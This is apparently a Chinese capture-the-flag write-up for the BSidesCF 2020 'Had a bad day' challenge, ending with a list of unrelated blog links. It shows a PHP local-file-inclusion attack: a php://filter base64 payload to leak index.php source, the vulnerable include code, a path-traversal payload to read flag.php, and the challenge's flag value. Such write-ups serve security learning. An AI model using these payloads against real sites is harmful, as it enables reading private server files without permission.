[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
开开心心_Every几秒前
免费视频画质增强:智能超分辨率无损放大
java·服务器·前端·python·学习·edge·powerpoint
开开心心_Every2 分钟前
免费AI图片生成工具:输入文字直接出图
服务器·前端·python·学习·edge·django·powerpoint
内存不泄露3 分钟前
基于Django和Vue的MOOC在线选课学习系统设计与实现
vue.js·学习·django
好奇龙猫19 分钟前
【AI学习-comfyUI学习-三十三节-FLXUc-openpose(unio) +黑森林lora canny工作流-各个部分学习)】
人工智能·学习
芥子沫21 分钟前
docker都没法访问了,都无法安装,镜像也不可以下载,还需要学习docker么
学习·docker
非凡ghost10 小时前
Wireshark中文版(网络抓包工具)
网络·windows·学习·测试工具·wireshark·软件需求
wdfk_prog12 小时前
[Linux]学习笔记系列 -- [driver]base
linux·笔记·学习
am心12 小时前
学习笔记-套餐接口
笔记·学习
科技林总13 小时前
【系统分析师】3.6 操作系统
学习
悠哉悠哉愿意15 小时前
【嵌入式学习笔记】OLED 显示驱动 (SSD1306)
笔记·单片机·嵌入式硬件·学习